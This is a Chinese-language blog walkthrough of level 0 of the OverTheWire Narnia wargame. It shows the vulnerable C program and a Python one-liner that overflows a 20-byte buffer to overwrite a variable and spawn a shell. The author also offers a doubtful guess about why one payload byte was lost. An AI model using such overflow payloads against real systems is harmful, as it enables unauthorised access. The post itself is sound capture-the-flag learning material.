标签:style class blog c code java
想写这个主要是因为我去谷歌搜到的攻略都是英文,看着有点吃力(菜B英语不好) , 然后就是分享交流技术。
比较有意思的一个闯关游戏(适合新手)
网站是:http://overthewire.org/wargames/narnia/
游戏主要涉及基础的漏洞利用(环境是LINUX下的)
下面就开始吧,
LINUX系统中 用SSH命令 登陆远程服务器
第0关的账号和密码都是narnia0
登陆后,需要我们利用的漏洞程序在 narnia这个文件夹里
服务器里把文件权限卡得很死,如果没有权限是不能执行一些操作的(比如看后面关卡的代码等)。
下面进入正题:
cat narnia0.c
#include <stdio.h> #include <stdlib.h> int main(){ long val=0x41414141; char buf[20]; printf("Correct val‘s value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef) system("/bin/sh"); else { printf("WAY OFF!!!!\n"); exit(1); } return 0; }
意思很明白,让我们改变val 的值, 让它变成0xdeadbeef 。
这个程序读入24个字节的字符串放到BUF里, 多余的4个字节就会覆盖VAL, 进而改变VAL的值。
用LINUX自带的 PYTHON 来构造字符串
python -c ‘print "a" * 20 + "\xef\xbe\xad\xde" ‘
再复制拿去输入
第一个\xde 没有了= =, 这是神马情况。。。。
后来查了下,要在后面加上一个二进制值才能成功( \x80 以上都可以 ,个人感觉是和前面的\xde 联合在一起形成一个双字节的UNICODE码,才使scanf能够读入 )
下面再来构造一个
拿去输入
OK,权限就变成narnia1了。
通关的密码在 /etc/narnia_pass
OK,搞定了……
Wargame narnia level 0 (中文攻略),布布扣,bubuko.com
标签:style class blog c code java
原文地址:http://www.cnblogs.com/wu-yan/p/3750048.html